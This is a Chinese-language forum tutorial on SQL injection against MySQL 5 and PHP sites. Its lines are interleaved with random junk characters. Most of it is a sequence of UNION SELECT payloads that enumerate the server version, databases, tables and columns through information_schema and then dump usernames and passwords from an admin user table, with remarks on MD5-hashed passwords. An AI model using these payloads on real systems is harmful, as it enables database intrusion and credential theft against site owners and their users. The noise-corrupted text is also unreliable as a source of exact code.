3 {4 E4 t7 M, w7 y教程内容:Mysql 5+php 注入
4 E6 Q) X' j. }: h9 A4 E; r6 I5 j. s+ L" t U; Q3 Y. p
+ V( q; s( J- n8 _
$ Q2 d& B/ m+ g3 w1 x1 i- m一.查看MYSQL基本信息(库名,版本,用户)
7 T% g) j- {" h* K
& |& Q0 W) k3 D: \! e3 P6 band 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
# y* `; f! Q u% R8 x9 j
( ~; m9 r" N# F9 L二.查数据库$ T- d5 R9 ~1 ?& L& @
% d3 m1 _& B5 K. w( i
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*2 X) x) ?$ M* d( v% C& R8 H" [
limit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。
& ]* C! o C& C& D) R* a0 |" h
; O& Y; ~2 A m% f9 p三.暴表* Q6 d+ [, q" H9 Y5 G8 N4 y3 ~
: V7 u; J$ e/ c7 a3 y% B& Aand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*; A) U- b6 T% Z2 Q& u7 w
- q" q( r$ G+ a3 @
limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。+ K3 l2 K- A0 a/ p, ^% f
9 H! q" p: Z6 l( P8 R四.暴字段
. X) k# Q2 ^ g! B1 y5 n2 B; w
. r% S- v% R2 Q7 B. ~and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
( p* R9 G& A6 L) e: |8 f9 B% u O
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。% J9 X/ t4 A f* W& s* Y4 I# u
' a, v/ L- l* v( E五.暴数据
- a3 v$ T; b% k$ ]/ ]! I- A) g, \! b, L, p4 `
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*) U9 B! w' D- y v. M
( t9 U8 _4 a9 h. ^9 I+ i7 ~; I2 q$ s4 r* X# m9 y/ s: T
这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。
$ t; @7 O# r. S7 \9 v, H |